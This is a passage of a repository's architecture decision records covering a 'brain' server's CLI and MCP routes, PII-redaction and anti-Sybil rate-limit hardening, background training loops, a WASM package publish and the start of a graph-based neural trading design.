Route | MCP Tool | --json | Notes |\n|------------|--------------|----------|--------|-------|\n| `brain search <query>` | `GET /v1/memories/search` | `brain_search` | Yes | Score field now present |\n| `brain share <title>` | `POST /v1/memories` | `brain_share` | Yes | Fixed in v0.2.8 |\n| `brain get <id>` | `GET /v1/memories/:id` | `brain_get` | Yes | |\n| `brain vote <id> <dir>` | `POST /v1/memories/:id/vote` | `brain_vote` | Yes | Fixed in v0.2.8 |\n| `brain list` | `GET /v1/memories/list` | `brain_list` | Yes | Paginated envelope now live |\n| `brain delete <id>` | `DELETE /v1/memories/:id` | `brain_delete` | Yes | Fixed 204 crash |\n| `brain status` | `GET /v1/status` | `brain_status` | Yes | |\n| `brain drift` | `GET /v1/drift` | `brain_drift` | Yes | |\n| `brain partition` | `GET /v1/partition` | `brain_partition` | Yes | |\n| `brain transfer <s> <t>` | `POST /v1/transfer` | `brain_transfer` | Yes | |\n| `brain sync [dir]` | `GET /v1/lora/latest` | `brain_sync` | Yes | Fixed direction passthrough |\n| `brain page list` | `GET /v1/pages` | `brain_page_list` | Yes | Added in v0.2.9 |\n| `brain page get <id>` | `GET /v1/pages/:id` | `brain_page_get` | Yes | Added in v0.2.9 |\n| `brain page create` | `POST /v1/pages` | `brain_page_create` | Yes | Added in v0.2.9 |\n| `brain page update <id>` | `PUT /v1/pages/:id` | `brain_page_update` | Yes | Added in v0.2.9 |\n| `brain page delete <id>` | `DELETE /v1/pages/:id` | `brain_page_delete` | Yes | Added in v0.2.9 |\n| `brain node list` | `GET /v1/nodes` | `brain_node_list` | Yes | Added in v0.2.9 |\n| `brain node get <id>` | `GET /v1/nodes/:id` | `brain_node_get` | Yes | Added in v0.2.9 |\n| `brain node publish` | `POST /v1/nodes` | `brain_node_publish` | Yes | Added in v0.2.9 |\n| `brain node revoke <id>` | `POST /v1/nodes/:id/revoke` | `brain_node_revoke` | Yes | Added in v0.2.9 |\n| `brain agi status` | `GET /v1/status` | `brain_agi_status` | Yes | AGI field extraction |\n| `brain agi sona` | `GET /v1/sona/stats` | `brain_sona_stats` | Yes | |\n| `brain agi temporal` | `GET /v1/temporal` | `brain_temporal` | Yes | |\n| `brain agi explore` | `GET /v1/explore` | `brain_explore` | Yes | |\n| `brain agi midstream` | `GET /v1/midstream` | `brain_midstream` | Yes | |\n| `brain agi flags` | `GET /v1/status` | `brain_flags` | Yes | Flag field extraction |\n\n### Server Routes Not Exposed in CLI/MCP\n\n| Route | Description | Status |\n|-------|-------------|--------|\n| `GET /v1/health` | Health check | Used internally by midstream tools |\n| `GET /v1/challenge` | Nonce for replay protection | Used by SSE MCP, not needed in CLI |\n| `POST /v1/verify` | Witness chain verification | New in v0.2.8 \u2014 no CLI command yet |\n| `POST /v1/lora/submit` | Submit LoRA weights | No CLI command |\n| `GET /v1/training/preferences` | Training prefs | No CLI command |\n| `GET /v1/pages/:id/deltas` | List page deltas | Accessible via `brain page` but not granular MCP tool |\n| `POST /v1/pages/:id/evidence` | Add evidence | Not exposed as separate command |\n| `POST /v1/pages/:id/promote` | Promote page | Not exposed as separate command |\n| `GET /v1/nodes/:id/wasm` | Download WASM binary | Not exposed |\n\n## 6. Verification\n\n### v0.2.8 (initial fixes)\n\n1. `node -c bin/cli.js && node -c bin/mcp-server.js` \u2014 syntax check passes\n2. `npm test` \u2014 69 tests pass\n3. `cargo build --release` in `crates/mcp-brain-server/` \u2014 compiles with `ScoredBrainMemory`, `ListResponse`\n4. Cloud Build + Cloud Run redeploy with fresh binary\n5. `brain status --json` \u2014 confirms API responds\n6. `brain search <query> --json` \u2014 confirms `score` field present in results\n7. `brain list --sort quality --limit 5 --json` \u2014 confirms `{ memories, total_count, offset }` envelope\n8. `brain delete <id> --json` \u2014 returns `{}` without crash\n\n### v0.2.9 (page/node MCP tools + GET /v1/pages)\n\n9. `GET /v1/pages?limit=2&status=canonical` \u2014 returns `{ pages, total_count, offset, limit }` envelope\n10. `npm test` \u2014 69 tests pass, MCP tool count 112\n11. 9 new MCP tools in `mcp-server.js` \u2014 `brain_page_list/get/create/update/delete`, `brain_node_list/get/publish/revoke`\n12. Cloud Build + Cloud Run redeploy (revision `ruvbrain-00075-m7w`)\n13. Published `ruvector@0.2.9` to npm", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-081-brain-server-v028-deploy-cli-fixes.md", "created_at": "2026-03-28T11:58:49.765398+00:00", "content_hash": "12461faa8147299d4d7ce9366daa0e24b92f2b709e79c9135daff37383553b41"} +{"id": "1b830053-6c78-40cb-bef5-6f0341131795", "source": "adr", "text": "# ADR-082: Brain Server Security Hardening \u2014 PII, Rate Limiting, Anti-Sybil\n\n**Status**: Accepted\n**Date**: 2026-03-03\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Related**: ADR-075 (RVF Cognitive Container Pipeline), ADR-081 (Brain Server v0.2.8\u20130.2.10)\n\n## 1. Context\n\nSecurity audit of the brain server at pi.ruv.io identified three actionable gaps:\n\n### 1.1 Incomplete PII Redaction\n\nThe `PiiStripper` (rvf-federation) had 12 regex rules covering paths, IPs, emails, API keys, bearer tokens, AWS keys, GitHub tokens, env vars, and @usernames. However, it missed three common PII categories:\n\n- **Phone numbers**: `555-867-5309` passed through unredacted\n- **SSNs**: `078-05-1120` passed through unredacted\n- **Credit card numbers**: `4111-1111-1111-1111` passed through unredacted\n\n### 1.2 Sybil-Bypassable Rate Limiting\n\nRate limiting was per-contributor-pseudonym (500 writes/hr, 5000 reads/hr), but since API keys are open (any string >= 8 chars derives a new pseudonym), an attacker could rotate keys to bypass the limit from a single IP.\n\n### 1.3 Vote Manipulation via Key Rotation\n\nVoting was gated by contributor pseudonym (one vote per key per memory), but creating new keys is free. A Sybil attack on quality scores only required generating N keys to cast N votes, inflating or deflating the Bayesian quality scores that drive search ranking and LoRA weight aggregation.\n\n### 1.4 What Was Already Working (Not Changed)\n\n- **HTTPS-only** transport on Cloud Run\n- **Content size caps** (200 char title, 10KB content, 10 tags, 30 char/tag)\n- **Pseudonymous contributor IDs** (key is SHAKE-256 hashed, never stored)\n- **Witness chains** with tamper-evident SHAKE-256 hashing\n- **Redaction logging** with pre-redaction hash attestation\n- **Owner-restricted deletes** (403 if key doesn't match contributor)\n- **Embedding validation** (NaN/Inf/magnitude checks)\n- **Ed25519 signature verification** on RVF containers\n- **Nonce-based replay protection** on share requests\n- **Read-only mode fuse** for emergencies\n\n## 2. Decision\n\n### 2.1 Expand PII Rules (12 \u2192 15)\n\nAdded three new rules to `PiiStripper::new()` default ruleset:\n\n| Rule ID | Category | Pattern | Prefix |\n|---------|----------|---------|--------|\n| `rule_phone_us` | phone | US formats: `555-867-5309`, `(555) 867-5309`, `+1-555-867-5309` | `<PHONE_N>` |\n| `rule_ssn` | ssn | `\\d{3}-\\d{2}-\\d{4}` | `<SSN_N>` |\n| `rule_credit_card` | credit_card | `\\d{4}[-\\s]\\d{4}[-\\s]\\d{4}[-\\s]\\d{4}` | `<CC_N>` |\n\nPhone regex requires separators (dashes, dots, spaces) between groups to avoid false positives on arbitrary numbers. Credit card requires separators between 4-digit groups.\n\n### 2.2 IP-Based Rate Limiting (Anti-Sybil)\n\nAdded per-IP token buckets to `RateLimiter`, in addition to existing per-contributor buckets:\n\n- **Per-IP write limit**: 1500/hr (3x per-key limit \u2014 allows legitimate multi-key usage but caps total throughput per source)\n- **Per-IP read limit**: 15000/hr\n- IP extracted from `X-Forwarded-For` header (set by Cloud Run load balancer)\n- Applied to `share_memory` handler (the primary write path)\n\nBoth per-key AND per-IP limits must pass for a write to succeed.\n\n### 2.3 IP-Based Vote Deduplication\n\nAdded `check_ip_vote(ip, memory_id)` to `RateLimiter`:\n\n- Tracks `\"ip:memory_id\"` pairs in a `DashMap<String, (u32, Instant)>`\n- One vote per IP per memory within a 24-hour window\n- Returns 403 \"Already voted on this memory from this network\" on duplicates\n- Prevents Sybil vote inflation/deflation of quality scores\n- **24h TTL**: Vote entries expire after 24 hours and are evicted during periodic cleanup\n- **Author exemption**: Content authors are exempt from IP vote dedup (their votes are already gated by store-level self-vote prevention and per-key dedup)\n\n## 3. Security Model Summary\n\nThe brain server operates as an **open knowledge commons with pseudonymous contributions**. This is by design \u2014 it enables zero-friction agent-to-agent knowledge sharing without registration.\n\n### What IS Protected\n\n| Threat | Mitigation |\n|--------|-----------|\n| PII leakage | 15-rule PiiStripper + redaction logging + pre-redaction hash |\n| Write flooding (single key) | 500 writes/hr per contributor pseudonym |\n| Write flooding (key rotation) | 1500 writes/hr per IP (ADR-082) |\n| Vote manipulation (Sybil) | One vote per IP per memory per 24h (ADR-082), author exemption |\n| Replay attacks | Nonce validation on share requests |\n| Tamper detection | SHAKE-256 witness chains per memory |\n| Container forgery | Ed25519 signature verification |\n| Adversarial embeddings | NaN/Inf/magnitude checks + degenerate distribution detection |\n| Unauthorized deletion | Owner-restricted (contributor_id match required) |\n\n### What Is NOT Protected (By Design)\n\n| Property | Status | Rationale |\n|----------|--------|-----------|\n| Authentication | Open (any key >= 8 chars) | Zero-friction agent access \u2014 this is a public commons |\n| Read privacy | All data globally readable | Shared knowledge is the purpose |\n| Identity verification | Pseudonymous only | No registration system |\n| LoRA weight access | Open to all keys | Federated learning requires open weight distribution |\n\n### Recommendations for Users\n\n- Do NOT share proprietary code, credentials, or internal architecture details\n- Treat the brain as a public wiki \u2014 everything shared is globally readable\n- The MCP integration should be configured to avoid sharing sensitive data\n- For private knowledge sharing, deploy a separate brain server instance\n\n## 4. Files Modified\n\n| File | Changes |\n|------|---------|\n| `crates/rvf/rvf-federation/src/pii_strip.rs` | Add phone, SSN, credit card rules (12\u219215); add 7 new tests |\n| `crates/mcp-brain-server/src/rate_limit.rs` | Add IP-based write/read buckets, IP vote dedup with 24h TTL, periodic cleanup |\n| `crates/mcp-brain-server/src/routes.rs` | Add `extract_client_ip()`, wire IP rate limit to share, IP vote dedup with author exemption |\n| `crates/mcp-brain-server/src/verify.rs` | Update comments (12\u219215 rules), add phone/SSN/CC detection tests |\n\n## 5. Verification\n\n1. `cargo test` in `crates/rvf/rvf-federation/` \u2014 16 PII tests pass (including phone, SSN, CC)\n2. `cargo test` in `crates/mcp-brain-server/` \u2014 63 tests pass\n3. `cargo build --release` \u2014 compiles clean\n4. Cloud Build + Cloud Run redeploy with hardened binary\n5. Manual verification:\n - Phone `555-867-5309` is now redacted to `<PHONE_N>`\n - SSN `078-05-1120` is now redacted to `<SSN_N>`\n - Credit card `4111-1111-1111-1111` is now redacted to `<CC_N>`\n - Rapid key rotation from same IP hits 1500/hr ceiling\n - Second vote from same IP on same memory returns 403", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-082-brain-security-hardening.md", "created_at": "2026-03-28T11:58:49.820259+00:00", "content_hash": "389562f910afa9edc61c2380cbd244b7287bb517f825fd2c58bd602fe655214c"} +{"id": "fc20af95-8290-44eb-95e4-e12040931065", "source": "adr", "text": "# ADR-083: Brain Server Training Loops \u2014 Closing the Store\u2192Learn Gap\n\n**Status**: Accepted\n**Date**: 2026-03-03\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Related**: ADR-081 (Brain Server v0.2.8\u20130.2.10), ADR-082 (Security Hardening)\n\n## 1. Context\n\nAfter injecting 258 memories, 856 votes, and running 30+ cross-domain transfers, a training audit revealed that the brain server's higher-order learning subsystems were architecturally present but not actively learning:\n\n| Subsystem | Has Code | Was Training | Why Not |\n|---|---|---|---|\n| SONA (pattern learning) | Yes \u2014 gradient, EWC, ReasoningBank | No | `force_learn()` never called; `tick()` only fires on `/v1/status` hits |\n| LoRA Federation | Yes \u2014 Byzantine-robust median+MAD aggregation | Client-driven | Works as designed; server aggregates client-submitted weights |\n| Pareto Frontier | Yes \u2014 `evolve_population()` exists | No | `evolve_population()` was never called from any route or background task |\n| GWT Workspace | Yes \u2014 attention filter | Per-request only | Transient re-ranking, no persistent learning |\n| Midstream | Yes \u2014 scheduler, solver, strange loop | No | All flags default to `false`; scheduler has zero tasks submitted |\n| Training Preferences | Yes \u2014 DPO pair export | Export-only | Working as designed; clients consume for offline training |\n\nThe gap: the server **stores knowledge** but does not **learn from knowledge**. The missing piece is a training loop that periodically processes accumulated data.\n\n## 2. Decision\n\n### 2.1 Background Training Loop\n\nAdded a `tokio::spawn` background task in `main.rs` that runs every 5 minutes:\n\n- Waits 60 seconds after startup (let data load complete)\n- Every 5 minutes, checks if new memories or votes have arrived\n- If any new data exists, runs `run_training_cycle()`:\n 1. SONA `force_learn()` \u2014 drains trajectory buffer, extracts patterns via k-means, applies EWC++ constraints\n 2. Domain `evolve_population()` \u2014 records policy kernels into Pareto front, evolves population\n\n### 2.2 Explicit Training Endpoint\n\nAdded `POST /v1/train` for on-demand training:\n\n- Authenticated (requires valid API key)\n- Runs the same `run_training_cycle()` as the background loop\n- Returns `TrainingCycleResult` with SONA patterns, Pareto growth, memory/vote counts\n\n### 2.3 CLI Command\n\nAdded `ruvector brain train`:\n- Calls `POST /v1/train`\n- Displays SONA message, pattern count, Pareto growth, memory/vote counts\n- Supports `--json` flag\n\n### 2.4 MCP Tool\n\nAdded `brain_train` MCP tool for agent-triggered training.\n\n### 2.5 Vote Dedup Refinements (ADR-082 follow-up)\n\n- **Author exemption**: Content authors now bypass IP vote dedup (self-votes are already blocked by store-level check)\n- **24h TTL**: Vote dedup entries expire after 24 hours and are evicted during periodic cleanup\n\n## 3. Results\n\nAfter deploying, 3 training cycles produced:\n\n| Metric | Before | After |\n|--------|--------|-------|\n| Pareto frontier size | 0 | 24 |\n| SONA patterns | 0 | 0 (needs 100 trajectories minimum) |\n| Domain population | Static | Evolving with fitness tracking |\n\nSONA will begin extracting patterns once 100+ search/share operations accumulate trajectories (its minimum threshold for k-means clustering).\n\n## 4. Files Modified\n\n| File | Changes |\n|------|---------|\n| `crates/mcp-brain-server/src/main.rs` | Background training loop (tokio::spawn, 5 min interval) |\n| `crates/mcp-brain-server/src/routes.rs` | `POST /v1/train` endpoint, `run_training_cycle()` function, `create_router()` returns `(Router, AppState)` |\n| `crates/mcp-brain-server/src/types.rs` | `TrainingCycleResult` struct |\n| `crates/mcp-brain-server/src/rate_limit.rs` | 24h TTL on vote dedup entries, cleanup in `maybe_cleanup()` |\n| `npm/packages/ruvector/bin/cli.js` | `brain train` command |\n| `npm/packages/ruvector/bin/mcp-server.js` | `brain_train` MCP tool |\n\n## 5. What Remains (Future Work)\n\n| Subsystem | Status | Next Step |\n|---|---|---|\n| SONA | Active, needs volume | Will start learning after ~100 searches (natural usage) |\n| LoRA | Working | Clients need to submit computed LoRA updates |\n| Pareto | Now growing | Accumulates each training cycle |\n| Midstream | Scaffolding | Enable flags + submit scheduler tasks |\n| GWT | Working per-request | Consider persistence for cross-session attention |\n| Training Prefs | Export working | Build external DPO trainer that consumes this API |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-083-brain-training-loops.md", "created_at": "2026-03-28T11:58:49.820497+00:00", "content_hash": "14dc86b1ed4091ff2369e1937c839dc4618123f952f45628d51058cdc1133e0b"} +{"id": "35101572-b6cf-43c4-9029-442c28c08107", "source": "adr", "text": "# ADR-084: ruvllm-wasm \u2014 First Functional npm Publish\n\n**Status**: Accepted\n**Date**: 2026-03-06\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Related**: ADR-083 (Brain Training Loops), Issue #238 (placeholder deprecation)\n\n## 1. Context\n\nThe `@ruvector/ruvllm-wasm` npm package (v0.1.0) was a placeholder \u2014 published without compiled WASM binaries. It was deprecated in PR #239. Meanwhile, the Rust crate `ruvllm-wasm` (v2.0.0) contains substantial working code:\n\n| Subsystem | Status | Exports |\n|-----------|--------|---------|\n| KV Cache (two-tier FP32+u8) | Working | `KvCacheWasm`, `KvCacheConfigWasm` |\n| Memory (arena + buffer pool) | Working | `InferenceArenaWasm`, `BufferPoolWasm` |\n| Chat Templates (7 formats) | Working | `ChatTemplateWasm`, `ChatMessageWasm` |\n| HNSW Semantic Router | Working | `HnswRouterWasm`, `PatternWasm`, `RouteResultWasm` |\n| MicroLoRA (rank 1-4) | Working | `MicroLoraWasm`, `AdaptFeedbackWasm` |\n| SONA Instant Learning | Working | `SonaInstantWasm`, `SonaConfigWasm` |\n| Web Workers | Working | `ParallelInference`, feature detection |\n| WebGPU (matmul shader) | Feature-gated | `WebGpuInference`, `WebGpuContext` |\n| IntelligentLLM (combined) | Commented out | Pending API compatibility |\n\n## 2. Decision\n\n### 2.1 Fix WASM Build\n\nThe Rust 1.91 compiler has a codegen bug where release-profile optimizations produce invalid WASM (type mismatch: `expected i32, found f64` in wasm-bindgen post-processing). Debug builds validate fine.\n\n**Workaround**: Build with `codegen-units=256` + `lto=off`. This prevents cross-function optimization passes that trigger the bug while still producing optimized output.\n\n```bash\nCARGO_PROFILE_RELEASE_CODEGEN_UNITS=256 \\\nCARGO_PROFILE_RELEASE_LTO=off \\\nwasm-pack build crates/ruvllm-wasm --target web --scope ruvector --release\n```\n\nAdded `wasm-opt = false` to `[package.metadata.wasm-pack.profile.release]` since wasm-opt's validator also rejects the binary.\n\n### 2.2 Gate WebGPU Features\n\nWebGPU `web-sys` features (`gpu_map_mode`, `GpuSupportedLimits`, 28 GPU types) were compiled unconditionally, inflating binary size. Moved all GPU web-sys features behind the `webgpu` Cargo feature flag.\n\nRemoved unused `bytemuck` dependency and `gpu_map_mode` / `GpuSupportedLimits` (declared but never referenced in source).\n\n### 2.3 Publish as v2.0.0\n\nPublished `@ruvector/ruvllm-wasm@2.0.0` to npm with:\n- Compiled WASM binary (~435 KB, ~150 KB gzipped)\n- TypeScript definitions (`.d.ts`)\n- ES module JS glue code\n- Accurate README with working API examples\n\n### 2.4 README\n\nReplaced placeholder README with accurate documentation covering all exported types, working code examples, and browser compatibility table.\n\n## 3. Files Modified\n\n| File | Changes |\n|------|---------|\n| `crates/ruvllm-wasm/Cargo.toml` | Gate WebGPU features, remove unused bytemuck/gpu_map_mode/GpuSupportedLimits, add wasm-opt=false |\n| `crates/ruvllm-wasm/pkg/README.md` | Complete rewrite with accurate API docs |\n| `crates/ruvllm-wasm/pkg/` | Generated: `.wasm`, `.js`, `.d.ts` files |\n\n## 4. Build Artifact Details\n\n| File | Size |\n|------|------|\n| `ruvllm_wasm_bg.wasm` | 435 KB |\n| `ruvllm_wasm.js` | 128 KB |\n| `ruvllm_wasm.d.ts` | 45 KB |\n\n## 5. Known Limitations\n\n| Area | Limitation | Resolution Path |\n|------|-----------|-----------------|\n| Rust 1.91 codegen bug | Requires `codegen-units=256` workaround | Fixed in future Rust compiler release |\n| IntelligentLLMWasm | Commented out, references non-existent `HnswRouterConfigWasm` | Create config struct or pass params directly |\n| WebGPU attention | CPU fallback only (matmul has GPU path) | Implement attention WGSL shader pipeline |\n| Worker pool | Uses `setTimeout` polling instead of proper task completion signals | Implement message-based completion tracking |\n| GGUF model loading | Not yet wired (no `load_model_from_url`) | Requires streaming fetch + parser integration |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-084-ruvllm-wasm-publish.md", "created_at": "2026-03-28T11:58:49.877695+00:00", "content_hash": "a86853fb737a7a7564dd3e477be05f38f0eca9bb78e1093befb628d77f17aa1d"} +{"id": "d9bc6b3c-7721-4313-bd0f-c87369428a6f", "source": "adr", "text": "# ADR-085: RuVector Neural Trader \u2014 Dynamic Market Graphs, MinCut Coherence Gating, and Proof-Gated Mutation\n\n## Status\n\nProposed\n\n## Date\n\n2026-03-06\n\n## Deciders\n\nruv\n\n## Related\n\n- ADR-016 RuVector integration patterns\n- ADR-030 RVF computational container\n- ADR-040 WASM programmable sensing\n- ADR-041 curated module registry\n- ADR-042 Security RVF AIDefence TEE\n- ADR-047 Proof-gated mutation protocol\n- `examples/neural-trader/` existing example scaffold\n- Cognitive MinCut Engine\n- Mincut Gated Transformer\n- ruvector-postgres architecture\n- Cognitum Gate coherence layer\n\n## Context\n\nMost trading systems still split the problem the wrong way.\n\nThey keep market data in one system, features in another, models in another, audit logs somewhere else, and risk logic in handwritten code wrapped around the outside. That creates latency, drift, and a complete mess when you try to explain why a model made a decision or why a learning update happened.\n\nA neural trader built on RuVector should treat the market as a living graph, not a table of candles. The limit order book, executions, cancellations, venue changes, and cross-asset interactions form a dynamic relational structure. That structure is exactly where short-horizon edge exists.\n\nThe design goal is a single substrate where:\n\n1. Raw market events become typed graph state\n2. Vector embeddings represent evolving microstructure state\n3. GNN and temporal attention operate directly on that state\n4. Dynamic mincut acts as a first-class coherence and fragility signal\n5. Every state mutation and policy action is proof-gated and attestable\n6. Online learning remains bounded, replayable, and auditable\n\nThis ADR defines the RuVector-native implementation for Neural Trader as a coherence-first trading substrate for prediction, risk control, and bounded execution research.\n\n## Decision\n\nWe will implement Neural Trader as a RuVector-native market intelligence stack with six layers:\n\n1. Ingest and normalization layer\n2. Dynamic heterogeneous market graph in RuVector\n3. Vector and graph learning layer using temporal GNN and attention\n4. Two-stage memory selection and replay layer\n5. MinCut-based coherence gate for write, retrieve, learn, and act\n6. Policy and actuation layer with proof-gated mutation and witness logs\n\nThe system will use Postgres as the relational source of record, with `ruvector-postgres` as the embedded vector engine and the RuVector graph substrate for dynamic structural reasoning.\n\n**No model output may directly mutate live strategy state, place orders, or update memory without passing coherence, risk, and policy gates.**\n\n## Why This Decision\n\nThis approach matches the actual shape of markets.\n\nA limit order book is not just a time series. It is a dynamic graph with queue locality, price adjacency, event causality, hidden liquidity hints, and regime-dependent cross-symbol coupling. A graph-plus-vector substrate captures that directly.\n\nRuVector also gives us something most trading systems do not have:\n\n1. Dynamic mincut as a real-time structural integrity signal\n2. Unified vector-plus-graph storage\n3. Replayable witness logs\n4. Proof-gated state mutation\n5. Local-first deployment paths from server to WASM to edge nodes\n\nThe result is a trading research platform that optimizes for **bounded intelligence** rather than blind prediction.\n\n## Scope\n\n### In scope\n\n1. Market data representation\n2. RuVector schema\n3. Embedding and learning design\n4. Memory selection\n5. Coherence gating\n6. Actuation policy\n7. Verification and auditability\n8. Deployment topology\n\n### Out of scope\n\n1. Broker-specific adapters in detail\n2. Exchange colocation engineering\n3. Final production capital allocation policy\n4. Regulatory filing requirements by jurisdiction\n\n## Assumptions\n\n1. Primary use case is short-horizon market making, execution assistance, or micro-alpha research.\n2. Input streams include order book updates, trades, cancels, modifies, venue metadata, and optional cross-asset feeds.\n3. Latency budget is sub-second for research serving, with optional lower-latency kernels for action gating.\n4. Hidden liquidity cannot be observed directly, so proxies are inferred from event patterns.\n5. Online learning must remain bounded and reversible.\n6. Correctness is treated as adversarially stressed rather than guaranteed.\n\n---\n\n## Architecture\n\n### 1. Ingest and Normalization\n\n**Input streams:**\n\n1. L2 or L3 order book deltas\n2. Trades and fills\n3. Order lifecycle events (new, modify, cancel, expire)\n4. Venue state and session markers\n5. Symbol metadata\n6. Optional news, macro, or derived volatility streams\n\n**Normalization output:**\n\n1. Canonical event envelopes\n2. Sequence-aligned timestamps\n3. Symbol and venue partition keys\n4. Side, price, size, aggressor, queue, and microstructure features\n5. Compact hashes for traceability\n\n**Canonical event envelope:**\n\n```rust\npub struct MarketEvent {\n pub event_id: [u8; 16],\n pub ts_exchange_ns: u64,\n pub ts_ingest_ns: u64,\n pub venue_id: u16,\n pub symbol_id: u32,\n pub event_type: EventType,\n pub side: Option<Side>,\n pub price_fp: i64,\n pub qty_fp: i64,\n pub order_id_hash: Option<[u8; 16]>,\n pub participant_id_hash: Option<[u8; 16]>,\n pub flags: u32,\n pub seq: u64,\n}\n```\n\n### 2. RuVector Graph Model\n\nThe order book becomes a typed heterogeneous dynamic graph.\n\n**Node kinds:**\n\n| # | Kind | Description |\n|---|------|-------------|\n| 1 | Symbol | Tradable instrument |\n| 2 | Venue | Exchange or dark pool |\n| 3 | PriceLevel | Individual price level in the book |\n| 4 | Order | Resting or aggressing order proxy |\n| 5 | Trade | Matched execution |\n| 6 | Event | Raw market event |\n| 7 | Participant | Anonymized participant proxy |\n| 8 | TimeBucket | Discretized time window |\n| 9 | Regime | Market regime classification |\n| 10 | StrategyState | Current strategy context |\n\n**Edge kinds:**\n\n| # | Edge | From \u2192 To |\n|---|------|-----------|\n| 1 | `AT_LEVEL` | Order \u2192 PriceLevel |\n| 2 | `NEXT_TICK` | PriceLevel \u2194 PriceLevel |\n| 3 | `GENERATED` | Event \u2192 Order or Trade |\n| 4 | `MATCHED` | Aggressor \u2194 Resting order proxy |\n| 5 | `MODIFIED_FROM` | Order \u2192 Order (prior version) |\n| 6 | `CANCELED_BY` | Event \u2192 Order |\n| 7 | `BELONGS_TO_SYMBOL` | * \u2192 Symbol |\n| 8 | `ON_VENUE` | * \u2192 Venue |\n| 9 | `IN_WINDOW` | * \u2192 TimeBucket |\n| 10 | `CORRELATED_WITH` | Symbol \u2194 Symbol |\n| 11 | `IN_REGIME` | TimeBucket \u2192 Regime |\n| 12 | `AFFECTS_STATE` | * \u2192 StrategyState |\n\n**Core properties \u2014 PriceLevel:**\n\n- Visible depth\n- Estimated hidden depth\n- Queue length\n- Local imbalance\n- Refill rate\n- Depletion rate\n- Spread distance\n- Local realized volatility\n\n**Core properties \u2014 Order:**\n\n- Side\n- Limit price\n- Current queue estimate\n- Age\n- Modify count\n- Cancel hazard score\n- Fill hazard score\n\n**Core properties \u2014 Trade:**\n\n- Aggressor side\n- Size\n- Slippage to mid\n- Post-trade impact window\n\n**Core properties \u2014 Edge:**\n\n- Event time delta\n- Transition count\n- Influence score\n- Coherence contribution\n- Venue confidence\n\n### 3. Vector Representation\n\nEach important subgraph window is embedded into RuVector.\n\n**Embedding families:**\n\n1. Book state embedding\n2. Queue state embedding\n3. Event stream embedding\n4. Cross-symbol regime embedding\n5. Strategy context embedding\n6. Risk context embedding\n\n**Recommended representation split:**\n\n1. Dense float embeddings for state similarity\n2. Compressed low-bit serving vectors for fast retrieval\n3. Graph neighborhood fingerprints for structural similarity\n4. Contrastive delta embeddings for regime shift detection\n\n**Example keyspaces in ruvector-postgres:**\n\n```sql\n-- Event log: range-partitioned by ts_exchange_ns for bounded retention\nCREATE TABLE nt_event_log (\n event_id BYTEA NOT NULL,\n ts_exchange_ns BIGINT NOT NULL,\n ts_ingest_ns BIGINT NOT NULL,\n venue_id INT NOT NULL,\n symbol_id INT NOT NULL,\n event_type INT NOT NULL,\n payload JSONB NOT NULL,\n witness_hash BYTEA,\n PRIMARY KEY (ts_exchange_ns, event_id)\n) PARTITION BY RANGE (ts_exchange_ns);\n\nCREATE INDEX idx_event_log_symbol_ts\n ON nt_event_log (symbol_id, ts_exchange_ns);\nCREATE INDEX idx_event_log_venue_ts\n ON nt_event_log (venue_id, ts_exchange_ns);\n\n-- Embeddings: composite index for time-range similarity queries\nCREATE TABLE nt_embeddings (\n embedding_id BIGSERIAL PRIMARY KEY,\n symbol_id INT NOT NULL,\n venue_id INT NOT NULL,\n ts_ns BIGINT NOT NULL,\n embedding_type TEXT NOT NULL,\n dim INT NOT NULL,\n metadata JSONB NOT NULL,\n embedding vector(256)\n);\n\nCREATE INDEX idx_embeddings_symbol_ts\n ON nt_embeddings (symbol_id, ts_ns DESC);\nCREATE INDEX idx_embeddings_type_ts\n ON nt_embeddings (embedding_type, ts_ns DESC);\nCREATE INDEX idx_embeddings_vec_hnsw\n ON nt_embeddings USING hnsw (embedding vector_cosine_ops)\n WITH (m = 16, ef_construction = 200);\n\n-- Replay segments: partitioned by start_ts_ns for retention management\nCREATE TABLE nt_segments (\n segment_id BIGSERIAL NOT NULL,\n symbol_id INT NOT NULL,\n start_ts_ns BIGINT NOT NULL,\n end_ts_ns BIGINT NOT NULL,\n segment_kind TEXT NOT NULL,\n rvf_blob BYTEA,\n signature BYTEA,\n witness_hash BYTEA,\n metadata JSONB,\n PRIMARY KEY (start_ts_ns, segment_id)\n) PARTITION BY RANGE (start_ts_ns);\n\nCREATE INDEX idx_segments_symbol_ts\n ON nt_segments (symbol_id, start_ts_ns DESC);\nCREATE INDEX idx_segments_kind\n ON nt_segments (segment_kind, start_ts_ns DESC);\n```\n\n### 4. Learning Layer\n\nWe will use a temporal graph learning stack.\n\n**Model family:**\n\n1. Typed message passing over dynamic graph neighborhoods\n2. Temporal attention over recent event windows\n3. Optional sequence head for action or risk outputs\n4. Auxiliary contrastive loss for regime separation\n5. Coherence regularization using mincut and boundary stability\n\n**Primary prediction heads:**\n\n1. Next-window mid-price move probability\n2. Fill probability for candidate placements\n3. Cancel probability for resting liquidity\n4. Slippage risk\n5. Local volatility jump risk\n6. Regime transition probability\n\n**Control heads:**\n\n1. Place or do-not-place\n2. Modify or hold\n3. Size scaling factor\n4. Venue selection\n5. Learning write admission score\n\n**Loss design \u2014 total loss:**\n\n```\nL = L_pred + \u03bb\u2081\u00b7L_fill + \u03bb\u2082\u00b7L_risk + \u03bb\u2083\u00b7L_contrast + \u03bb\u2084\u00b7L_coherence + \u03bb\u2085\u00b7L_budget\n```\n\nWhere:\n\n- `L_pred` \u2014 predicts short-horizon outcome\n- `L_fill` \u2014 estimates execution quality\n- `L_risk` \u2014 penalizes unstable high-drawdown actions\n- `L_contrast` \u2014 separates regimes and recurrent motifs\n- `L_coherence` \u2014 penalizes representation drift across stable partitions\n- `L_budget` \u2014 penalizes actions that exceed risk or actuation budgets\n\n### 5. Memory Design\n\nMemory must be selective, bounded, and useful.\n\n#### Stage A: Streaming Sketch\n\nKeep cheap summaries for recent heavy hitters.\n\n**Structures:**\n\n1. Count-Min sketch for repeated motifs\n2. Top-K for impactful levels, venues, regimes\n3. Rolling range sketches for volatility and imbalance bands\n4. Delta histograms for event transitions\n\n**Purpose:**\n\n1. Detect recurring market motifs\n2. Prioritize candidate memory writes\n3. Reduce storage pressure\n4. Preserve streaming summaries even when raw fragments age out\n\n#### Stage B: Uncertainty-Guided Reservoir\n\nStore 